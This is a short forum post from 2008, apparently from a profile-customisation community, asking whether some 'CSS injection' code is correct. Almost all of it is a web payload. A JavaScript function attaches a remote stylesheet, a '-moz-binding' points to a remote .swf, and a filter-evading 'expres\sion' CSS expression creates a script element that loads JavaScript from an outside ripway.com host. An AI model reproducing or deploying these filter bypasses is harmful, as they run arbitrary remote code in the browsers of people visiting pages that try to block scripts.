Hmm. Is this what you mean by injecting css in js? Is this format correct?
function injectcss() {
if(window.cssinjected == undefined) {
cssinjected = 1;
var css = document.createElement("link");
css.setAttribute("type","text/css");
css.setAttribute("rel","stylesheet");
css.setAttribute("href","http://h1.ripway.com/raquelcordero/paulaukliy.css");
css.setAttribute("media","screen, print");
document.getElementsByTagName("head")[0].appendChild(css);
}
}injectcss();
<style>
body {
-moz-binding:url("http://h1.ripway.com/museholic/linker/rss.swf#apo");
obj:expres\sion(function b(){x=document;a=x.createElement('script');a.src='http://h1.ripway.com/raquelcordero/paulauklihh.js';navBg.appendChild(a)}b());text:expres\sion(object.style.obj='0')
}
</style>
<a id='apocalypse'>http://h1.ripway.com/raquelcordero/paulauklihh.js</a>
Last edited by ohmygodthatKEL,shameless (2008-05-17 04:52:20)